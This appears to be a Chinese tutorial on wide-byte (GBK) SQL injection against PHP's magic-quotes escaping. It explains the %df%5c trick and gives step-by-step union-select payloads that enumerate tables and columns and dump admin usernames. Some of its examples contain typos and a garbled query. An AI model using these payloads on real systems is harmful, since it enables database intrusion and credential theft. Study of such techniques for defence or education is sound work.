本文内容:
- 魔术引号是什么
- 什么GBK编码格式
- 宽字节SQL注入的原理
- 宽字节注入的具体流程
1,魔术引号是什么?
了解一下一个PHP的防御函数,magi_quotes_gpc(魔术引号开关)。
PHP5.4以上版本取消了魔术引号,但是依旧一些开发人员以及CMS它们还在用,用了一些函数,做到相同的效果。
magic_quotes_gpc函数在PHP中的作用是判断解析用户提交的数据,如包括有:post、get、cookie过来的数据增加转义字符'\',以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现致命的错误。
单引号(') 双引号(") 反斜线(\) 与NULL等字符都会加上反斜线。
magic_quotes_gpc的租用:当PHP的传参中有特殊字符就会在前边加转义字符'\' 来做一定的过滤,单引号和双引号内的一切字符都是字符串,那我们输入的东西如不哦不能闭合单引号和双引号,我们的输入就不会当做代码执行,就无法产生SQL注入了。
2,什么GBK编码格式?
GBK是双字节字符:
尽管现在呼吁所有的程序都使用Unicode编码,所有的网站都使用UTF-8,来一个统一的国际规范。到哪仍然有很多,包括国内国外(特别是非英语国家)的一些CMS,仍然使用着自己国家的一套编码,比如我国的GBK,作为自己默认的编码类型。
还有一些CMS为了考虑老用户退出了GBK和UTF-8两个版本。
GBK《汉字内码扩展规范》,GBK是一种多字符编码。他使用了双字节编码方案,因为双字节编码所以gbk编码汉字,占用2个字符。一个UTF-8编码的汉字,占用3个字节。
3,宽字节SQL注入的原理:
宽字节SQL注入主要是源于程序员设置数据库编码为非英文编码那么就有可能产生宽字节注入。
例如:Mysql的编码设置,设置了set name 'gbk'或是set。
character_set_client=gbk,这样配置会引发编码转换从而导致的注入漏洞。
宽字节SQL注入就是PHP发送请求到Mysql时使用与语句。
set names 'gbk' 或者set character_set_client=gbk。
进行了一次编码,但是又由于一些不经意的字符集转换导致宽字节注入。
核心就是:输入的内容与魔术引号产生的发斜杠(\),拼接成一个汉字。
宽字节与PHP编码没有关系,而是给数据库的编码有关系,核心在于数据库的编码,主要数据库的编码是非英文,就有可能产生宽字节注入。
主要是GER/POST/COOKIE存在,head没有存在。
url编码:十六进制转换为十进制,在于ASCII码比较。
常用宽字节注入拼接字符是:%df\ \是:%5c
magic_quotes_gpc的作用:当php中的传参中有特殊字符,就会再前边加转义字符\来做一定的过滤。
我们发现\的url编码是%5c,然后我们会想到传参一个字符想办法凑成一个GBK字符。
例如:運%df%5c
select * from user where ='\'' limit0,1
4,宽字节sql注入的具体流程:
例题:select * from abd where id ='1'
1.判断是否存在sql注入:
这种情况我们输入'让字符串闭合,并在后边注释, -- qwe 注释掉后边的内容。
当我们输入'时,回车发现,sql语句中自动添加了\,添加\也会出现\,这是我们就知道了,这是因为魔术引号的作用。
这是我们就可以输入一个汉字,或者一个url编码的字符让它与\成为一体,让它不会阻挡我们数据语句的执行。
比如:
汉' and 1=1 和 and 1=2 -- qwe
2.使用联合查询:判断字段数。
汉'order by 1……
3.判断输出点:
汉' union select 1,2,3 -- qwe
4.爆表:
汉' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- qwe
5.爆字段:
汉' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x123456789 -- qwe
6.爆数据:
汉' union select 1,2,group_concat(username) from admin -- qwe
解释:
group_concat() :将查询数据列显示转换为行显示。
table_name = 0x 十六进制
与君共勉:
想要过上理想的轻松人生,
也需要很拼命才行。
毕竟没有谁的日子是从天上掉下来的,
你想要的任何一点美好,
都得踮脚去摘。